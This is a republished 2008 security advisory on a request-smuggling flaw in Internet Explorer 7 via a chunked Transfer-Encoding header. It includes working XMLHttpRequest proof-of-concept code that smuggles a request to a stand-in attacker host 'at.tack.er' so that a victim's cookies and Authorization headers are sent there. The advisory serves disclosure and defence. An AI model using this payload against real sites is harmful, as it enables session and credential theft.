| Microsoft Internet Explorer "Transfer-Encoding: chunked" allows Request Splitting/Smuggling |
|
|
|
| Written by Marcelo Almeida (Vympel) | |||||
| Tuesday, 25 March 2008 | |||||
|
Minded Security Labs: Advisory #MSA01240108 Microsoft Internet Explorer "Transfer-Encoding: chunked" allows Request Splitting/Smuggling.
Tested Versions: Internet Explorer 7.0.5730.11 AnalysisLet's suppose the following scenery (which is not necessarily the only one). - A site vulnerable to reflected Xss is hosted on the same host as an attacker site. - User has no proxy configured. As IE7 allows setting setRequestHeader("Transfer-Encoding","chunked"); so, it allows using the payload in a POST request which will be considered as another request by the web server. For example: ----------------------------------------------------- var x=new XMLHttpRequest(); for(var i =0; i<1;i++){ x.open("POST","/"); x.setRequestHeader("Transfer-Encoding","chunked"); x.setRequestHeader("Proxy-Connection","keep-alive"); x.setRequestHeader("Connection","keep-alive"); x.onreadystatechange=function (){ if (x.readyState == 4){ } } try{ x.send("0\r\n\r\nPOST / HTTP/1.1\r\nHost: at.tack.er\r\nContent-Length: SOMELENGTH\r\n\r\n") }catch(r){} } ----------------------------------------------------- the request will become: ---------------------------------------------------- POST / HTTP/1.1 Accept: */* Accept-Language: it Transfer-Encoding: chunked Connection: keep-alive Cache-Control: no-cache Referer: http://vi.ct.im/ UA-CPU: x86 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Host: at.tack.er Content-Length: 67 0 POST /?Send1 HTTP/1.1 Host: at.tack.er Content-Length: TheLenghtOfTheNextRequest ---------------------------------------------------- That way, the web server, will wait for the payload, keeping the socket open. Infact RFC 2616 says that : --------- If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored. --------- So the payload will be parsed as chunked. Then by forcing IE to perform several requests on the victim host, the browser will reuse the previous (open) socket, thus sending the request as payload to the attacker site. When at.tack.er host receive the request, there are several attacks, it could perform: 1. Stealing the headers of the request to vi.ct.im host (httponly cookies, Authorization data..) 2. Perform local cache poisoning by using Expire: header from the attacker poisoned page. A proof of concept was developed. Keep in mind that several other sceneries could be abused as well (see references). CreditsStefano di Paola is credited with the discovery of this vulnerability. Disclosure Timeline25/01/2008 Initial vendor notification 25/01/2008 Vendor Confirmed 21/03/2008 Public advisory Reference
Original article: MSA01240108
Powered by a Zone-H(ified) version of AkoComment 3.0! DISCLAIMER: Forum postings are the opinion of the posting author alone, and should not be taken as the opinion of Zone-h. The author is entirely and solely responsible for all content that he/she uploads, posts, or otherwise transmits via the website. Zone-h is not responsible for such content. However, Zone-h shall have the right, but not the obligation, to delete, move, or edit any content that violates this agreement or is otherwise objectionable as determined by Zone-h in its sole discretion and without notice. |
|||||
| < Prev | Next > |
|---|
